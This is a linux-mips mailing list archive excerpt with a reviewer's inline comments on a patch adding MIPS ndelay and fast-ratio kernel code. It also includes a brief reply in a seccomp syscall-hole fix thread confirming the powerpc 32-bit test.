> index 0000000..0d74543 > --- /dev/null > +++ b/arch/mips/lib/delay.c > @@ -0,0 +1,59 @@ > +/* > + *                             delay.c > + * > + * Code implementing ndelay using the MIPS CP0 Count register. > + * > + * Copyright (C) 2009 Cisco Systems, Inc. > + * > + * This program is free software; you can redistribute it and/or modify > + * it under the terms of the GNU General Public License as published by > + * the Free Software Foundation; either version 2 of the License, or > + * (at your option) any later version. > + * > + * This program is distributed in the hope that it will be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write to the Free Software > + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > + > +#include > +#include > +#include > +#include > +#include > +#include > +#include > + > +/* This elements are initialized to a value that will cause huge delays to > + * arise from use of ndelay before calling init_ndelay. This should make such > + * mistakes obvious enough to easily find and correct. */ I think it would be better to have something like: if (unlikely(not_calibrated)) WARN_ON_ONCE(...) > +struct fast_ratio _ndelay_param __read_mostly = { > +       .k = 0, > +       .s = 0, > +       .r = ULONG_MAX / 2, > +}; > +EXPORT_SYMBOL(_ndelay_param); Not sure why the leading underscore here either. > + > +/* > + * Called to initialize the values for the ndelay function > + * @f: Frequency, in KHz, of the CP0 Count register increment rate > + */ > +int __init init_ndelay(unsigned int f) > +{ > +       int     ret; > + > +       ret = init_fast_ratio(_MAX_DIRECT_NDELAY, f, 1000000, &_ndelay_param); > + > +       if (ret) > +               pr_err("Unable to initialize ndelay parameters, errno %d\n", > +                       ret); > +       else > +               pr_info("Set ndelay fast_ratio parameters: k %u s %u r %u\n", > +                       _ndelay_param.k, _ndelay_param.s, _ndelay_param.r); > + > +       return ret; > +} > diff --git a/arch/mips/lib/fast-ratio.c b/arch/mips/lib/fast-ratio.c > new file mode 100644 > index 0000000..c630adf > --- /dev/null > +++ b/arch/mips/lib/fast-ratio.c > @@ -0,0 +1,196 @@ > +/* > + *                             fast-ratio.c > + * > + * Code implementing fast ratio calculator. > + * > + * Copyright (C) 2009 Cisco Systems, Inc. > + * > + * This program is free software; you can redistribute it and/or modify > + * it under the terms of the GNU General Public License as published by > + * the Free Software Foundation; either version 2 of the License, or > + * (at your option) any later version. > + * > + * This program is distributed in the hope that it will be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write to the Free Software > + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > + > +#include > +#include > +#include > +#include > +#include > +#include > + > +#ifndef __KERNEL__ > +#include > +#else > +#include > + > +#ifndef assert > +#define assert(x)      BUG_ON(!(x)) > +#endif > +#endif I suspect the thing you will be asked to do here is dump the whole __KERNEL__ test and assert usage and simply just use BUG_ON right in the code. > + > +#ifdef DEBUG > +#define dbg(fmt, ...)  pr_crit(fmt, ## __VA_ARGS__) > +#else > +#define dbg(fmt, ...)  do { } while (0) > +#endif > + > +#ifndef BITS_PER_LLONG > +#define        BITS_PER_LLONG  ((BITS_PER_LONG * sizeof(long long)) / sizeof(long)) > +#endif Is BITS_PER_LLONG really defined anywhere for anything? > + > +/* Type for intermediate calculations, along with the number of bits and > + * the maximum size. This should be the biggest unsigned type for which > + * division and modulus by unsigned long are defined on this > + * architecture. */ > +#ifdef CONFIG_HAVE_ULLONG_DIV_AND_MOD I've not seen any instances of this CONFIG option either. > +typedef unsigned long long intermediate_t; > +#define        BITS_PER_ACC    BITS_PER_LLONG > +#define        ACC_MAX         ULLONG_MAX > +#else > +typedef unsigned long intermediate_t; > +#define        BITS_PER_ACC    BITS_PER_LONG > +#define        ACC_MAX         ULLONG_MAX > +#endif This might fall into the loophole of Documentation/CodingStyle -- chapter 5; i.e: ...but if there is a clear reason for why it under certain circumstances might be an "unsigned int" and under other configurations might be "unsigned long", then by all means go ahead and use a typedef. > + > +/* Don't these need to start with /** if you want to have them automagically parsed? > + * Compute transform of equation (x * a)/b for fast computation > + * @max_x:     Maximum value of x > + * @a:         Value of a > + * @b:         value b > + * @fr:                Pointer to a &struct fast_ratio to hold transformed parameters > + * Returns a zero on success, otherwise a negative errno value. Errno values > + * are: > + *     -EDOM   Parameter b is zero > + *     -EINVAL Either max_x is too large or max_x is zero > + *     -ERANGE The rounded up intermediate value of x * a would not fit > + *             in an unsigned long. > + * > + * Mathematically, as long as the ratios: > + *     a    k > + *     - = --- > + *     b   2^s > + * > + * are equal, the specific values of k and s don't matter. There are > + * two constraints, however: > + * > + * o   The value of s must be less than BIT_PER_LONG > + * o   With a rounding constant of r = 2^s - 1, we must have > + *             x * k + r <= ULONG_MAX > + * > + * We want k to be as large as possible so that > + * it has the maximum precision. Getting the largest k means > + * getting the smallest shift. > + * > + * Note that this is designed to work on both 32-bit systems and 64-bit systems > + * using the LP64 model. > + */ > +int init_fast_ratio(unsigned int max_x, unsigned long a, > +       unsigned long b, struct fast_ratio *fr) > +{ > +#define        SHIFT_ROUND_UP(_v, _n)  (((_n) < 0) ?                   \ > +               (((unsigned long long) (_v)) << -(_n)) :        \ > +               (((_v) + ((1ull << (_n)) - 1)) >> (_n))) > +#define ROUNDING_CONST(_s)     (((_s) < 0) ? 0 : ((1ull << (_s)) - 1)) You've created a fast_ratio.h ; any reason why these #defines don't live there rather than in the middle of this function? And if there is any implicit trickery being used that might not be obvious to Joe Average, then a comment or two wouldn't go amiss. I know that it is over my head to parse on the fly, but that doesn't say much. :-) > +       intermediate_t          scaled_a; > +       intermediate_t          k0; > +       int                     s0; > +       int                     min_s; > +       int                     k_msb; > +       int                     s; > +       int                     si; > +       unsigned long long      k; > +       unsigned long long      r; > +       unsigned long long      dividend; > + > +       if (b == 0) > +               return -EDOM;           /* Divide by zero */ > + > +       if (max_x > ULONG_MAX || max_x == 0) > +               return -EINVAL; > + > +       if (a == 0) { > +               fr->k = 0;              /* Trivial, result is always zero */ > +               fr->s = 0; > +               fr->r = 0; > +               return 0; > +       } > + > +       /* Calculate the rounded up value of a / b with the most precision we > +        * can easily obtain by shifting the value a by n bits to the left. > +        * This means that the value we get is (a / b) * 2^n.  We could get > +        * an overflow if we used the usual (a + (b - 1))/ b, so we compute the > +        * rounding value explicitly. If the scale value of a modulus b is > +        * not zero, we need to increase the result by one. */ > +       s0 = (BITS_PER_ACC - 1) - ilog2(a); > +       scaled_a = ((intermediate_t) a) << s0; > + > +       k0 = (scaled_a / b) + ((scaled_a % b == 0) ? 0 : 1); > +       k_msb = ilog2(k0) + 1; > +       dbg("scaled_a %llx scaled_a %% b %llx k0 %llx s0 %d k_msb %d\n", > +               (unsigned long long) scaled_a, > +               (unsigned long long) scaled_a % b, > +               (unsigned long long) k0, s0, k_msb); > + > +       /* Find a shift that yields the largest value of k that will avoid an > +        * overflow on an unsigned long when multiplied by max_x, and rounded > +        * up. */ > +       min_s = k_msb; > + > +       for (;;) { > +               int                     shft; > +               unsigned long long      ri; > +               unsigned long long      ki; > +               unsigned long long      p; > + > +               shft = min_s - 1; > +               si = s0 - shft; > +               ki = SHIFT_ROUND_UP(k0, shft); > +               ri = ROUNDING_CONST(si); > + > +               /* We must be sure that max_x is smaller than p or the > +                * following calculation will eventually overflow */ > +               assert(sizeof(max_x) < sizeof(p)); > +               p = max_x * ki; > +               dividend = p + ri; > +               dbg("min_s %d shft %d si %d ri %llx ki %llx max_x %x p %llx " > +                       "dividend %llx\n", > +                       min_s, shft, si, ri, ki, max_x, p, dividend); > +               if ((si > BITS_PER_LONG || dividend > ULONG_MAX)) > +                       break; > +               min_s--; > +       } > + > +       s = s0 - min_s; > +       k = SHIFT_ROUND_UP(k0, min_s); > +       r = ROUNDING_CONST(s); > +       dbg("min_s %d s %d k %llx max_x * k %llx r %llx dividend %llx\n", > +               min_s, s, k, max_x * k, r, max_x * k + r); > + > +       /* If we have a negative shift, we couldn't find a k that would avoid > +        * an overflow. If that's true, or we have an overflow at the current > +        * shift, we return an error. */ > +       if (s < 0 || max_x * k + r > ULONG_MAX) > +               return -ERANGE; > + > +       /* If the shift we came up with would shift the final result out > +        * of the register, we've underflowed the result */ > +       if (s >= BITS_PER_LONG) > +               return -ERANGE; > + > +       fr->s = s; > +       fr->k = k; > +       fr->r = r; > + > +       return 0; > +#undef SHIFT_ROUND_UP > +#undef ROUNDING_CONST This is a .c file, so I don't see the need to undef anything at the end. Generally speaking, I think this could be two separate commits -- one that implements the basic ndelay uses read_c0_count() concept (if really required), and then an add-on commit that does the uber optimization of the whole ratio thing? Then if it turns out that one hunk gets the green light, and the other doesn't, well then at least you get to see that one part of your work goes forward. Paul. > +} > > From benh@kernel.crashing.org Sat Feb 28 21:13:15 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 21:13:17 +0000 (GMT) Received: from gate.crashing.org ([63.228.1.57]:62632 "EHLO gate.crashing.org") by ftp.linux-mips.org with ESMTP id S20807994AbZB1VNP (ORCPT ); Sat, 28 Feb 2009 21:13:15 +0000 Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1]) by gate.crashing.org (8.14.1/8.13.8) with ESMTP id n1SL9eWu029375; Sat, 28 Feb 2009 15:09:41 -0600 Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole From: Benjamin Herrenschmidt To: Linus Torvalds Cc: Roland McGrath , linux-mips@linux-mips.org, x86@kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org, sparclinux@vger.kernel.org, Andrew Morton , stable@kernel.org In-Reply-To: References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> Content-Type: text/plain Date: Sun, 01 Mar 2009 08:09:39 +1100 Message-Id: <1235855379.7388.113.camel@pasglop> Mime-Version: 1.0 X-Mailer: Evolution 2.24.3 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21990 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: benh@kernel.crashing.org Precedence: bulk X-list: linux-mips Content-Length: 643 Lines: 19 On Sat, 2009-02-28 at 09:23 -0800, Linus Torvalds wrote: > > On Fri, 27 Feb 2009, Roland McGrath wrote: > > > > I don't know any other arch well enough to be sure that TIF_32BIT isn't the > > wrong test there too. I'd like to leave that worry to the arch maintainers. > > Agreed - it may be that others will want to not use TIF_32BIT too. It > really does make much more sense to have it as a thread-local status flag > than as an atomic (and thus expensive to modify) thread-flag, not just on > x86. FYI. _TIF_32BIT is the right test on powerpc (it's also what entry_64.S tests to pick the appropriate syscall table). Cheers, Ben.